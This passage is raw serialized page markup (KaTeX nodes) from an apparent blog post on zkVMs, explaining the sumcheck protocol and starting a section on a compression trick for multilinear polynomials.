8,"children":43730},{"className":43729},[2160],[43731],{"type":26,"tag":217,"props":43732,"children":43734},{"className":43733},[299,300],[43735,43855],{"type":26,"tag":217,"props":43736,"children":43738},{"className":43737},[305],[43739,43850],{"type":26,"tag":217,"props":43740,"children":43743},{"className":43741,"style":43742},[310],"height:0.2253em;",[43744],{"type":26,"tag":217,"props":43745,"children":43747},{"style":43746},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[43748,43752],{"type":26,"tag":217,"props":43749,"children":43751},{"className":43750,"style":2182},[320],[],{"type":26,"tag":217,"props":43753,"children":43755},{"className":43754},[2187,2188,2189,2190],[43756],{"type":26,"tag":217,"props":43757,"children":43759},{"className":43758},[247,2190],[43760,43819,43825,43830,43835,43840,43845],{"type":26,"tag":217,"props":43761,"children":43763},{"className":43762},[247,2190],[43764,43769],{"type":26,"tag":217,"props":43765,"children":43767},{"className":43766},[247,2152,2190],[43768],{"type":32,"value":2542},{"type":26,"tag":217,"props":43770,"children":43772},{"className":43771},[2160],[43773],{"type":26,"tag":217,"props":43774,"children":43776},{"className":43775},[299,300],[43777,43808],{"type":26,"tag":217,"props":43778,"children":43780},{"className":43779},[305],[43781,43803],{"type":26,"tag":217,"props":43782,"children":43785},{"className":43783,"style":43784},[310],"height:0.3173em;",[43786],{"type":26,"tag":217,"props":43787,"children":43789},{"style":43788},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[43790,43794],{"type":26,"tag":217,"props":43791,"children":43793},{"className":43792,"style":5107},[320],[],{"type":26,"tag":217,"props":43795,"children":43797},{"className":43796},[2187,5112,5113,2190],[43798],{"type":26,"tag":217,"props":43799,"children":43801},{"className":43800},[247,2190],[43802],{"type":32,"value":185},{"type":26,"tag":217,"props":43804,"children":43806},{"className":43805},[409],[43807],{"type":32,"value":412},{"type":26,"tag":217,"props":43809,"children":43811},{"className":43810},[305],[43812],{"type":26,"tag":217,"props":43813,"children":43815},{"className":43814,"style":5219},[310],[43816],{"type":26,"tag":217,"props":43817,"children":43818},{},[],{"type":26,"tag":217,"props":43820,"children":43822},{"className":43821},[264,2190],[43823],{"type":32,"value":43824},"∈",{"type":26,"tag":217,"props":43826,"children":43828},{"className":43827},[288,2190],[43829],{"type":32,"value":25667},{"type":26,"tag":217,"props":43831,"children":43833},{"className":43832},[247,2190],[43834],{"type":32,"value":1883},{"type":26,"tag":217,"props":43836,"children":43838},{"className":43837},[1865,2190],[43839],{"type":32,"value":1868},{"type":26,"tag":217,"props":43841,"children":43843},{"className":43842},[247,2190],[43844],{"type":32,"value":185},{"type":26,"tag":217,"props":43846,"children":43848},{"className":43847},[428,2190],[43849],{"type":32,"value":7659},{"type":26,"tag":217,"props":43851,"children":43853},{"className":43852},[409],[43854],{"type":32,"value":412},{"type":26,"tag":217,"props":43856,"children":43858},{"className":43857},[305],[43859],{"type":26,"tag":217,"props":43860,"children":43863},{"className":43861,"style":43862},[310],"height:0.4747em;",[43864],{"type":26,"tag":217,"props":43865,"children":43866},{},[],{"type":26,"tag":217,"props":43868,"children":43870},{"className":43869,"style":1872},[258],[],{"type":26,"tag":217,"props":43872,"children":43874},{"className":43873},[1842],[43875,43880],{"type":26,"tag":217,"props":43876,"children":43878},{"className":43877,"style":22482},[1842,4049,22481],[43879],{"type":32,"value":4053},{"type":26,"tag":217,"props":43881,"children":43883},{"className":43882},[2160],[43884],{"type":26,"tag":217,"props":43885,"children":43887},{"className":43886},[299,300],[43888,44003],{"type":26,"tag":217,"props":43889,"children":43891},{"className":43890},[305],[43892,43998],{"type":26,"tag":217,"props":43893,"children":43895},{"className":43894,"style":43742},[310],[43896],{"type":26,"tag":217,"props":43897,"children":43898},{"style":43746},[43899,43903],{"type":26,"tag":217,"props":43900,"children":43902},{"className":43901,"style":2182},[320],[],{"type":26,"tag":217,"props":43904,"children":43906},{"className":43905},[2187,2188,2189,2190],[43907],{"type":26,"tag":217,"props":43908,"children":43910},{"className":43909},[247,2190],[43911,43968,43973,43978,43983,43988,43993],{"type":26,"tag":217,"props":43912,"children":43914},{"className":43913},[247,2190],[43915,43920],{"type":26,"tag":217,"props":43916,"children":43918},{"className":43917},[247,2152,2190],[43919],{"type":32,"value":2542},{"type":26,"tag":217,"props":43921,"children":43923},{"className":43922},[2160],[43924],{"type":26,"tag":217,"props":43925,"children":43927},{"className":43926},[299,300],[43928,43957],{"type":26,"tag":217,"props":43929,"children":43931},{"className":43930},[305],[43932,43952],{"type":26,"tag":217,"props":43933,"children":43935},{"className":43934,"style":43784},[310],[43936],{"type":26,"tag":217,"props":43937,"children":43938},{"style":43788},[43939,43943],{"type":26,"tag":217,"props":43940,"children":43942},{"className":43941,"style":5107},[320],[],{"type":26,"tag":217,"props":43944,"children":43946},{"className":43945},[2187,5112,5113,2190],[43947],{"type":26,"tag":217,"props":43948,"children":43950},{"className":43949},[247,2190],[43951],{"type":32,"value":332},{"type":26,"tag":217,"props":43953,"children":43955},{"className":43954},[409],[43956],{"type":32,"value":412},{"type":26,"tag":217,"props":43958,"children":43960},{"className":43959},[305],[43961],{"type":26,"tag":217,"props":43962,"children":43964},{"className":43963,"style":5219},[310],[43965],{"type":26,"tag":217,"props":43966,"children":43967},{},[],{"type":26,"tag":217,"props":43969,"children":43971},{"className":43970},[264,2190],[43972],{"type":32,"value":43824},{"type":26,"tag":217,"props":43974,"children":43976},{"className":43975},[288,2190],[43977],{"type":32,"value":25667},{"type":26,"tag":217,"props":43979,"children":43981},{"className":43980},[247,2190],[43982],{"type":32,"value":1883},{"type":26,"tag":217,"props":43984,"children":43986},{"className":43985},[1865,2190],[43987],{"type":32,"value":1868},{"type":26,"tag":217,"props":43989,"children":43991},{"className":43990},[247,2190],[43992],{"type":32,"value":185},{"type":26,"tag":217,"props":43994,"children":43996},{"className":43995},[428,2190],[43997],{"type":32,"value":7659},{"type":26,"tag":217,"props":43999,"children":44001},{"className":44000},[409],[44002],{"type":32,"value":412},{"type":26,"tag":217,"props":44004,"children":44006},{"className":44005},[305],[44007],{"type":26,"tag":217,"props":44008,"children":44010},{"className":44009,"style":43862},[310],[44011],{"type":26,"tag":217,"props":44012,"children":44013},{},[],{"type":26,"tag":217,"props":44015,"children":44017},{"className":44016,"style":1872},[258],[],{"type":26,"tag":217,"props":44019,"children":44022},{"className":44020},[44021],"minner",[44023],{"type":32,"value":44024},"⋯",{"type":26,"tag":217,"props":44026,"children":44028},{"className":44027,"style":1872},[258],[],{"type":26,"tag":217,"props":44030,"children":44032},{"className":44031},[1842],[44033,44038],{"type":26,"tag":217,"props":44034,"children":44036},{"className":44035,"style":22482},[1842,4049,22481],[44037],{"type":32,"value":4053},{"type":26,"tag":217,"props":44039,"children":44041},{"className":44040},[2160],[44042],{"type":26,"tag":217,"props":44043,"children":44045},{"className":44044},[299,300],[44046,44162],{"type":26,"tag":217,"props":44047,"children":44049},{"className":44048},[305],[44050,44157],{"type":26,"tag":217,"props":44051,"children":44053},{"className":44052,"style":43742},[310],[44054],{"type":26,"tag":217,"props":44055,"children":44056},{"style":43746},[44057,44061],{"type":26,"tag":217,"props":44058,"children":44060},{"className":44059,"style":2182},[320],[],{"type":26,"tag":217,"props":44062,"children":44064},{"className":44063},[2187,2188,2189,2190],[44065],{"type":26,"tag":217,"props":44066,"children":44068},{"className":44067},[247,2190],[44069,44127,44132,44137,44142,44147,44152],{"type":26,"tag":217,"props":44070,"children":44072},{"className":44071},[247,2190],[44073,44078],{"type":26,"tag":217,"props":44074,"children":44076},{"className":44075},[247,2152,2190],[44077],{"type":32,"value":2542},{"type":26,"tag":217,"props":44079,"children":44081},{"className":44080},[2160],[44082],{"type":26,"tag":217,"props":44083,"children":44085},{"className":44084},[299,300],[44086,44116],{"type":26,"tag":217,"props":44087,"children":44089},{"className":44088},[305],[44090,44111],{"type":26,"tag":217,"props":44091,"children":44094},{"className":44092,"style":44093},[310],"height:0.1645em;",[44095],{"type":26,"tag":217,"props":44096,"children":44097},{"style":43788},[44098,44102],{"type":26,"tag":217,"props":44099,"children":44101},{"className":44100,"style":5107},[320],[],{"type":26,"tag":217,"props":44103,"children":44105},{"className":44104},[2187,5112,5113,2190],[44106],{"type":26,"tag":217,"props":44107,"children":44109},{"className":44108},[247,2152,2190],[44110],{"type":32,"value":2197},{"type":26,"tag":217,"props":44112,"children":44114},{"className":44113},[409],[44115],{"type":32,"value":412},{"type":26,"tag":217,"props":44117,"children":44119},{"className":44118},[305],[44120],{"type":26,"tag":217,"props":44121,"children":44123},{"className":44122,"style":5219},[310],[44124],{"type":26,"tag":217,"props":44125,"children":44126},{},[],{"type":26,"tag":217,"props":44128,"children":44130},{"className":44129},[264,2190],[44131],{"type":32,"value":43824},{"type":26,"tag":217,"props":44133,"children":44135},{"className":44134},[288,2190],[44136],{"type":32,"value":25667},{"type":26,"tag":217,"props":44138,"children":44140},{"className":44139},[247,2190],[44141],{"type":32,"value":1883},{"type":26,"tag":217,"props":44143,"children":44145},{"className":44144},[1865,2190],[44146],{"type":32,"value":1868},{"type":26,"tag":217,"props":44148,"children":44150},{"className":44149},[247,2190],[44151],{"type":32,"value":185},{"type":26,"tag":217,"props":44153,"children":44155},{"className":44154},[428,2190],[44156],{"type":32,"value":7659},{"type":26,"tag":217,"props":44158,"children":44160},{"className":44159},[409],[44161],{"type":32,"value":412},{"type":26,"tag":217,"props":44163,"children":44165},{"className":44164},[305],[44166],{"type":26,"tag":217,"props":44167,"children":44169},{"className":44168,"style":43862},[310],[44170],{"type":26,"tag":217,"props":44171,"children":44172},{},[],{"type":26,"tag":217,"props":44174,"children":44176},{"className":44175,"style":1872},[258],[],{"type":26,"tag":217,"props":44178,"children":44180},{"className":44179,"style":2326},[247,2152],[44181],{"type":32,"value":10011},{"type":26,"tag":217,"props":44183,"children":44185},{"className":44184},[288],[44186],{"type":32,"value":1851},{"type":26,"tag":217,"props":44188,"children":44190},{"className":44189},[247],[44191,44196],{"type":26,"tag":217,"props":44192,"children":44194},{"className":44193},[247,2152],[44195],{"type":32,"value":2542},{"type":26,"tag":217,"props":44197,"children":44199},{"className":44198},[2160],[44200],{"type":26,"tag":217,"props":44201,"children":44203},{"className":44202},[299,300],[44204,44233],{"type":26,"tag":217,"props":44205,"children":44207},{"className":44206},[305],[44208,44228],{"type":26,"tag":217,"props":44209,"children":44211},{"className":44210,"style":19226},[310],[44212],{"type":26,"tag":217,"props":44213,"children":44214},{"style":2275},[44215,44219],{"type":26,"tag":217,"props":44216,"children":44218},{"className":44217,"style":2182},[320],[],{"type":26,"tag":217,"props":44220,"children":44222},{"className":44221},[2187,2188,2189,2190],[44223],{"type":26,"tag":217,"props":44224,"children":44226},{"className":44225},[247,2190],[44227],{"type":32,"value":185},{"type":26,"tag":217,"props":44229,"children":44231},{"className":44230},[409],[44232],{"type":32,"value":412},{"type":26,"tag":217,"props":44234,"children":44236},{"className":44235},[305],[44237],{"type":26,"tag":217,"props":44238,"children":44240},{"className":44239,"style":2210},[310],[44241],{"type":26,"tag":217,"props":44242,"children":44243},{},[],{"type":26,"tag":217,"props":44245,"children":44247},{"className":44246},[1865],[44248],{"type":32,"value":1868},{"type":26,"tag":217,"props":44250,"children":44252},{"className":44251,"style":1872},[258],[],{"type":26,"tag":217,"props":44254,"children":44256},{"className":44255},[247],[44257,44262],{"type":26,"tag":217,"props":44258,"children":44260},{"className":44259},[247,2152],[44261],{"type":32,"value":2542},{"type":26,"tag":217,"props":44263,"children":44265},{"className":44264},[2160],[44266],{"type":26,"tag":217,"props":44267,"children":44269},{"className":44268},[299,300],[44270,44299],{"type":26,"tag":217,"props":44271,"children":44273},{"className":44272},[305],[44274,44294],{"type":26,"tag":217,"props":44275,"children":44277},{"className":44276,"style":19226},[310],[44278],{"type":26,"tag":217,"props":44279,"children":44280},{"style":2275},[44281,44285],{"type":26,"tag":217,"props":44282,"children":44284},{"className":44283,"style":2182},[320],[],{"type":26,"tag":217,"props":44286,"children":44288},{"className":44287},[2187,2188,2189,2190],[44289],{"type":26,"tag":217,"props":44290,"children":44292},{"className":44291},[247,2190],[44293],{"type":32,"value":332},{"type":26,"tag":217,"props":44295,"children":44297},{"className":44296},[409],[44298],{"type":32,"value":412},{"type":26,"tag":217,"props":44300,"children":44302},{"className":44301},[305],[44303],{"type":26,"tag":217,"props":44304,"children":44306},{"className":44305,"style":2210},[310],[44307],{"type":26,"tag":217,"props":44308,"children":44309},{},[],{"type":26,"tag":217,"props":44311,"children":44313},{"className":44312},[1865],[44314],{"type":32,"value":1868},{"type":26,"tag":217,"props":44316,"children":44318},{"className":44317,"style":1872},[258],[],{"type":26,"tag":217,"props":44320,"children":44322},{"className":44321},[44021],[44323],{"type":32,"value":44324},"…",{"type":26,"tag":217,"props":44326,"children":44328},{"className":44327,"style":1872},[258],[],{"type":26,"tag":217,"props":44330,"children":44332},{"className":44331},[1865],[44333],{"type":32,"value":1868},{"type":26,"tag":217,"props":44335,"children":44337},{"className":44336,"style":1872},[258],[],{"type":26,"tag":217,"props":44339,"children":44341},{"className":44340},[247],[44342,44347],{"type":26,"tag":217,"props":44343,"children":44345},{"className":44344},[247,2152],[44346],{"type":32,"value":2542},{"type":26,"tag":217,"props":44348,"children":44350},{"className":44349},[2160],[44351],{"type":26,"tag":217,"props":44352,"children":44354},{"className":44353},[299,300],[44355,44384],{"type":26,"tag":217,"props":44356,"children":44358},{"className":44357},[305],[44359,44379],{"type":26,"tag":217,"props":44360,"children":44362},{"className":44361,"style":2173},[310],[44363],{"type":26,"tag":217,"props":44364,"children":44365},{"style":2275},[44366,44370],{"type":26,"tag":217,"props":44367,"children":44369},{"className":44368,"style":2182},[320],[],{"type":26,"tag":217,"props":44371,"children":44373},{"className":44372},[2187,2188,2189,2190],[44374],{"type":26,"tag":217,"props":44375,"children":44377},{"className":44376},[247,2152,2190],[44378],{"type":32,"value":2197},{"type":26,"tag":217,"props":44380,"children":44382},{"className":44381},[409],[44383],{"type":32,"value":412},{"type":26,"tag":217,"props":44385,"children":44387},{"className":44386},[305],[44388],{"type":26,"tag":217,"props":44389,"children":44391},{"className":44390,"style":2210},[310],[44392],{"type":26,"tag":217,"props":44393,"children":44394},{},[],{"type":26,"tag":217,"props":44396,"children":44398},{"className":44397},[428],[44399],{"type":32,"value":1889},{"type":26,"tag":39,"props":44401,"children":44402},{},[44403,44405,44466],{"type":32,"value":44404},"The naive approach would be for the verifier to compute all ",{"type":26,"tag":83,"props":44406,"children":44408},{"className":44407},[213,4703],[44409],{"type":26,"tag":217,"props":44410,"children":44412},{"className":44411},[225],[44413],{"type":26,"tag":217,"props":44414,"children":44416},{"className":44415,"ariaHidden":231},[230],[44417],{"type":26,"tag":217,"props":44418,"children":44420},{"className":44419},[236],[44421,44425],{"type":26,"tag":217,"props":44422,"children":44424},{"className":44423,"style":6084},[241],[],{"type":26,"tag":217,"props":44426,"children":44428},{"className":44427},[247],[44429,44434],{"type":26,"tag":217,"props":44430,"children":44432},{"className":44431},[247],[44433],{"type":32,"value":332},{"type":26,"tag":217,"props":44435,"children":44437},{"className":44436},[2160],[44438],{"type":26,"tag":217,"props":44439,"children":44441},{"className":44440},[299],[44442],{"type":26,"tag":217,"props":44443,"children":44445},{"className":44444},[305],[44446],{"type":26,"tag":217,"props":44447,"children":44449},{"className":44448,"style":6084},[310],[44450],{"type":26,"tag":217,"props":44451,"children":44452},{"style":6105},[44453,44457],{"type":26,"tag":217,"props":44454,"children":44456},{"className":44455,"style":2182},[320],[],{"type":26,"tag":217,"props":44458,"children":44460},{"className":44459},[2187,2188,2189,2190],[44461],{"type":26,"tag":217,"props":44462,"children":44464},{"className":44463},[247,2152,2190],[44465],{"type":32,"value":2197},{"type":32,"value":44467}," evaluations. This is exponentially expensive.",{"type":26,"tag":39,"props":44469,"children":44470},{},[44471,44473,44478],{"type":32,"value":44472},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":26,"tag":9348,"props":44474,"children":44475},{},[44476],{"type":32,"value":44477},"only one",{"type":32,"value":180},{"type":26,"tag":39,"props":44480,"children":44481},{},[44482],{"type":26,"tag":6468,"props":44483,"children":44486},{"alt":44484,"src":44485},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":26,"tag":39,"props":44488,"children":44489},{},[44490,44492,44584,44586,44771,44773,44798,44800,44877,44879,44956],{"type":32,"value":44491},"In each round, the prover must send a polynomial ",{"type":26,"tag":83,"props":44493,"children":44495},{"className":44494},[213,4703],[44496],{"type":26,"tag":217,"props":44497,"children":44499},{"className":44498},[225],[44500],{"type":26,"tag":217,"props":44501,"children":44503},{"className":44502,"ariaHidden":231},[230],[44504],{"type":26,"tag":217,"props":44505,"children":44507},{"className":44506},[236],[44508,44512,44569,44574,44579],{"type":26,"tag":217,"props":44509,"children":44511},{"className":44510,"style":5514},[241],[],{"type":26,"tag":217,"props":44513,"children":44515},{"className":44514},[247],[44516,44521],{"type":26,"tag":217,"props":44517,"children":44519},{"className":44518,"style":2326},[247,2152],[44520],{"type":32,"value":10011},{"type":26,"tag":217,"props":44522,"children":44524},{"className":44523},[2160],[44525],{"type":26,"tag":217,"props":44526,"children":44528},{"className":44527},[299,300],[44529,44558],{"type":26,"tag":217,"props":44530,"children":44532},{"className":44531},[305],[44533,44553],{"type":26,"tag":217,"props":44534,"children":44536},{"className":44535,"style":2271},[310],[44537],{"type":26,"tag":217,"props":44538,"children":44539},{"style":2348},[44540,44544],{"type":26,"tag":217,"props":44541,"children":44543},{"className":44542,"style":2182},[320],[],{"type":26,"tag":217,"props":44545,"children":44547},{"className":44546},[2187,2188,2189,2190],[44548],{"type":26,"tag":217,"props":44549,"children":44551},{"className":44550},[247,2152,2190],[44552],{"type":32,"value":2290},{"type":26,"tag":217,"props":44554,"children":44556},{"className":44555},[409],[44557],{"type":32,"value":412},{"type":26,"tag":217,"props":44559,"children":44561},{"className":44560},[305],[44562],{"type":26,"tag":217,"props":44563,"children":44565},{"className":44564,"style":2210},[310],[44566],{"type":26,"tag":217,"props":44567,"children":44568},{},[],{"type":26,"tag":217,"props":44570,"children":44572},{"className":44571},[288],[44573],{"type":32,"value":1851},{"type":26,"tag":217,"props":44575,"children":44577},{"className":44576,"style":2230},[247,2152],[44578],{"type":32,"value":43083},{"type":26,"tag":217,"props":44580,"children":44582},{"className":44581},[428],[44583],{"type":32,"value":1889},{"type":32,"value":44585}," such that ",{"type":26,"tag":83,"props":44587,"children":44589},{"className":44588},[213,4703],[44590],{"type":26,"tag":217,"props":44591,"children":44593},{"className":44592},[225],[44594],{"type":26,"tag":217,"props":44595,"children":44597},{"className":44596,"ariaHidden":231},[230],[44598,44691],{"type":26,"tag":217,"props":44599,"children":44601},{"className":44600},[236],[44602,44606,44663,44668,44673,44678,44682,44687],{"type":26,"tag":217,"props":44603,"children":44605},{"className":44604,"style":5514},[241],[],{"type":26,"tag":217,"props":44607,"children":44609},{"className":44608},[247],[44610,44615],{"type":26,"tag":217,"props":44611,"children":44613},{"className":44612,"style":2326},[247,2152],[44614],{"type":32,"value":10011},{"type":26,"tag":217,"props":44616,"children":44618},{"className":44617},[2160],[44619],{"type":26,"tag":217,"props":44620,"children":44622},{"className":44621},[299,300],[44623,44652],{"type":26,"tag":217,"props":44624,"children":44626},{"className":44625},[305],[44627,44647],{"type":26,"tag":217,"props":44628,"children":44630},{"className":44629,"style":2271},[310],[44631],{"type":26,"tag":217,"props":44632,"children":44633},{"style":2348},[44634,44638],{"type":26,"tag":217,"props":44635,"children":44637},{"className":44636,"style":2182},[320],[],{"type":26,"tag":217,"props":44639,"children":44641},{"className":44640},[2187,2188,2189,2190],[44642],{"type":26,"tag":217,"props":44643,"children":44645},{"className":44644},[247,2152,2190],[44646],{"type":32,"value":2290},{"type":26,"tag":217,"props":44648,"children":44650},{"className":44649},[409],[44651],{"type":32,"value":412},{"type":26,"tag":217,"props":44653,"children":44655},{"className":44654},[305],[44656],{"type":26,"tag":217,"props":44657,"children":44659},{"className":44658,"style":2210},[310],[44660],{"type":26,"tag":217,"props":44661,"children":44662},{},[],{"type":26,"tag":217,"props":44664,"children":44666},{"className":44665},[288],[44667],{"type":32,"value":1851},{"type":26,"tag":217,"props":44669,"children":44671},{"className":44670},[247],[44672],{"type":32,"value":1883},{"type":26,"tag":217,"props":44674,"children":44676},{"className":44675},[428],[44677],{"type":32,"value":1889},{"type":26,"tag":217,"props":44679,"children":44681},{"className":44680,"style":336},[258],[],{"type":26,"tag":217,"props":44683,"children":44685},{"className":44684},[341],[44686],{"type":32,"value":3540},{"type":26,"tag":217,"props":44688,"children":44690},{"className":44689,"style":336},[258],[],{"type":26,"tag":217,"props":44692,"children":44694},{"className":44693},[236],[44695,44699,44756,44761,44766],{"type":26,"tag":217,"props":44696,"children":44698},{"className":44697,"style":5514},[241],[],{"type":26,"tag":217,"props":44700,"children":44702},{"className":44701},[247],[44703,44708],{"type":26,"tag":217,"props":44704,"children":44706},{"className":44705,"style":2326},[247,2152],[44707],{"type":32,"value":10011},{"type":26,"tag":217,"props":44709,"children":44711},{"className":44710},[2160],[44712],{"type":26,"tag":217,"props":44713,"children":44715},{"className":44714},[299,300],[44716,44745],{"type":26,"tag":217,"props":44717,"children":44719},{"className":44718},[305],[44720,44740],{"type":26,"tag":217,"props":44721,"children":44723},{"className":44722,"style":2271},[310],[44724],{"type":26,"tag":217,"props":44725,"children":44726},{"style":2348},[44727,44731],{"type":26,"tag":217,"props":44728,"children":44730},{"className":44729,"style":2182},[320],[],{"type":26,"tag":217,"props":44732,"children":44734},{"className":44733},[2187,2188,2189,2190],[44735],{"type":26,"tag":217,"props":44736,"children":44738},{"className":44737},[247,2152,2190],[44739],{"type":32,"value":2290},{"type":26,"tag":217,"props":44741,"children":44743},{"className":44742},[409],[44744],{"type":32,"value":412},{"type":26,"tag":217,"props":44746,"children":44748},{"className":44747},[305],[44749],{"type":26,"tag":217,"props":44750,"children":44752},{"className":44751,"style":2210},[310],[44753],{"type":26,"tag":217,"props":44754,"children":44755},{},[],{"type":26,"tag":217,"props":44757,"children":44759},{"className":44758},[288],[44760],{"type":32,"value":1851},{"type":26,"tag":217,"props":44762,"children":44764},{"className":44763},[247],[44765],{"type":32,"value":185},{"type":26,"tag":217,"props":44767,"children":44769},{"className":44768},[428],[44770],{"type":32,"value":1889},{"type":32,"value":44772}," equals the previous claim. If the prover is lying about the original sum ",{"type":26,"tag":83,"props":44774,"children":44776},{"className":44775},[213,4703],[44777],{"type":26,"tag":217,"props":44778,"children":44780},{"className":44779},[225],[44781],{"type":26,"tag":217,"props":44782,"children":44784},{"className":44783,"ariaHidden":231},[230],[44785],{"type":26,"tag":217,"props":44786,"children":44788},{"className":44787},[236],[44789,44793],{"type":26,"tag":217,"props":44790,"children":44792},{"className":44791,"style":4800},[241],[],{"type":26,"tag":217,"props":44794,"children":44796},{"className":44795,"style":2680},[247,2152],[44797],{"type":32,"value":2683},{"type":32,"value":44799},", then they must lie about ",{"type":26,"tag":83,"props":44801,"children":44803},{"className":44802},[213,4703],[44804],{"type":26,"tag":217,"props":44805,"children":44807},{"className":44806},[225],[44808],{"type":26,"tag":217,"props":44809,"children":44811},{"className":44810,"ariaHidden":231},[230],[44812],{"type":26,"tag":217,"props":44813,"children":44815},{"className":44814},[236],[44816,44820],{"type":26,"tag":217,"props":44817,"children":44819},{"className":44818,"style":19576},[241],[],{"type":26,"tag":217,"props":44821,"children":44823},{"className":44822},[247],[44824,44829],{"type":26,"tag":217,"props":44825,"children":44827},{"className":44826,"style":2326},[247,2152],[44828],{"type":32,"value":10011},{"type":26,"tag":217,"props":44830,"children":44832},{"className":44831},[2160],[44833],{"type":26,"tag":217,"props":44834,"children":44836},{"className":44835},[299,300],[44837,44866],{"type":26,"tag":217,"props":44838,"children":44840},{"className":44839},[305],[44841,44861],{"type":26,"tag":217,"props":44842,"children":44844},{"className":44843,"style":2271},[310],[44845],{"type":26,"tag":217,"props":44846,"children":44847},{"style":2348},[44848,44852],{"type":26,"tag":217,"props":44849,"children":44851},{"className":44850,"style":2182},[320],[],{"type":26,"tag":217,"props":44853,"children":44855},{"className":44854},[2187,2188,2189,2190],[44856],{"type":26,"tag":217,"props":44857,"children":44859},{"className":44858},[247,2152,2190],[44860],{"type":32,"value":2290},{"type":26,"tag":217,"props":44862,"children":44864},{"className":44863},[409],[44865],{"type":32,"value":412},{"type":26,"tag":217,"props":44867,"children":44869},{"className":44868},[305],[44870],{"type":26,"tag":217,"props":44871,"children":44873},{"className":44872,"style":2210},[310],[44874],{"type":26,"tag":217,"props":44875,"children":44876},{},[],{"type":32,"value":44878}," somewhere. But since the verifier picks a random ",{"type":26,"tag":83,"props":44880,"children":44882},{"className":44881},[213,4703],[44883],{"type":26,"tag":217,"props":44884,"children":44886},{"className":44885},[225],[44887],{"type":26,"tag":217,"props":44888,"children":44890},{"className":44889,"ariaHidden":231},[230],[44891],{"type":26,"tag":217,"props":44892,"children":44894},{"className":44893},[236],[44895,44899],{"type":26,"tag":217,"props":44896,"children":44898},{"className":44897,"style":4828},[241],[],{"type":26,"tag":217,"props":44900,"children":44902},{"className":44901},[247],[44903,44908],{"type":26,"tag":217,"props":44904,"children":44906},{"className":44905,"style":2753},[247,2152],[44907],{"type":32,"value":19414},{"type":26,"tag":217,"props":44909,"children":44911},{"className":44910},[2160],[44912],{"type":26,"tag":217,"props":44913,"children":44915},{"className":44914},[299,300],[44916,44945],{"type":26,"tag":217,"props":44917,"children":44919},{"className":44918},[305],[44920,44940],{"type":26,"tag":217,"props":44921,"children":44923},{"className":44922,"style":2271},[310],[44924],{"type":26,"tag":217,"props":44925,"children":44926},{"style":2775},[44927,44931],{"type":26,"tag":217,"props":44928,"children":44930},{"className":44929,"style":2182},[320],[],{"type":26,"tag":217,"props":44932,"children":44934},{"className":44933},[2187,2188,2189,2190],[44935],{"type":26,"tag":217,"props":44936,"children":44938},{"className":44937},[247,2152,2190],[44939],{"type":32,"value":2290},{"type":26,"tag":217,"props":44941,"children":44943},{"className":44942},[409],[44944],{"type":32,"value":412},{"type":26,"tag":217,"props":44946,"children":44948},{"className":44947},[305],[44949],{"type":26,"tag":217,"props":44950,"children":44952},{"className":44951,"style":2210},[310],[44953],{"type":26,"tag":217,"props":44954,"children":44955},{},[],{"type":32,"value":44957},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":26,"tag":631,"props":44959,"children":44961},{"id":44960},"the-compression-trick",[44962],{"type":32,"value":44963},"The Compression Trick",{"type":26,"tag":39,"props":44965,"children":44966},{},[44967,44969,45119,45121,45400],{"type":32,"value":44968},"For degree-1 (multilinear) polynomials, ",{"type":26,"tag":83,"props":44970,"children":44972},{"className":44971},[213,4703],[44973],{"type":26,"tag":217,"props":44974,"children":44976},{"className":44975},[225],[44977],{"type":26,"tag":217,"props":44978,"children":44980},{"className":44979,"ariaHidden":231},[230],[44981,45074,45101],{"type":26,"tag":217,"props":44982,"children":44984},{"className":44983},[236],[44985,44989,45046,45051,45056,45061,45065,45070],{"type":26,"tag":217,"props":44986,"children":44988},{"className":44987,"style":5514},[241],[],{"type":26,"tag":217,"props":44990,"children":44992},{"className":44991},[247],[44993,44998],{"type":26,"tag":217,"props":44994,"children":44996},{"className":44995,"style":2326},[247,2152],[44997],{"type":32,"value":10011},{"type":26,"tag":217,"props":44999,"children":45001},{"className":45000},[2160],[45002],{"type":26,"tag":217,"props":45003,"children":45005},{"className":45004},[299,300],[45006,45035],{"type":26,"tag":217,"props":45007,"children":45009},{"className":45008},[305],[45010,45030],{"type":26,"tag":217,"props":45011,"children":45013},{"className":45012,"style":2271},[310],[45014],{"type":26,"tag":217,"props":45015,"children":45016},{"style":2348},[45017,45021],{"type":26,"tag":217,"props":45018,"children":45020},{"className":45019,"style":2182},[320],[],{"type":26,"tag":217,"props":45022,"children":45024},{"className":45023},[2187,2188,2189,2190],[45025],{"type":26,"tag":217,"props":45026,"children":45028},{"className":45027},[247,2152,2190],[45029],{"type":32,"value":2290},{"type":26,"tag":217,"props":45031,"children":45033},{"className":45032},[409],[45034],{"type":32,"value":412},{"type":26,"tag":217,"props":45036,"children":45038},{"className":45037},[305],[45039],{"type":26,"tag":217,"props":45040,"children":45042},{"className":45041,"style":2210},[310],[45043],{"type":26,"tag":217,"props":45044,"children":45045},{},[],{"type":26,"tag":217,"props":45047,"children":45049},{"className":45048},[288],[45050],{"type":32,"value":1851},{"type":26,"tag":217,"props":45052,"children":45054},{"className":45053,"style":2230},[247,2152],[45055],{"type":32,"value":43083},{"type":26,"tag":217,"props":45057,"children":45059},{"className":45058},[428],[45060],{"type":32,"value":1889},{"type":26,"tag":217,"props":45062,"children":45064},{"className":45063,"style":259},[258],[],{"type":26,"tag":217,"props":45066,"children":45068},{"className":45067},[264],[45069],{"type":32,"value":267},{"type":26,"tag":217,"props":45071,"children":45073},{"className":45072,"style":259},[258],[],{"type":26,"tag":217,"props":45075,"children":45077},{"className":45076},[236],[45078,45083,45088,45092,45097],{"type":26,"tag":217,"props":45079,"children":45082},{"className":45080,"style":45081},[241],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":26,"tag":217,"props":45084,"children":45086},{"className":45085},[247,2152],[45087],{"type":32,"value":163},{"type":26,"tag":217,"props":45089,"children":45091},{"className":45090,"style":336},[258],[],{"type":26,"tag":217,"props":45093,"children":45095},{"className":45094},[341],[45096],{"type":32,"value":3540},{"type":26,"tag":217,"props":45098,"children":45100},{"className":45099,"style":336},[258],[],{"type":26,"tag":217,"props":45102,"children":45104},{"className":45103},[236],[45105,45109,45114],{"type":26,"tag":217,"props":45106,"children":45108},{"className":45107,"style":43002},[241],[],{"type":26,"tag":217,"props":45110,"children":45112},{"className":45111},[247,2152],[45113],{"type":32,"value":14783},{"type":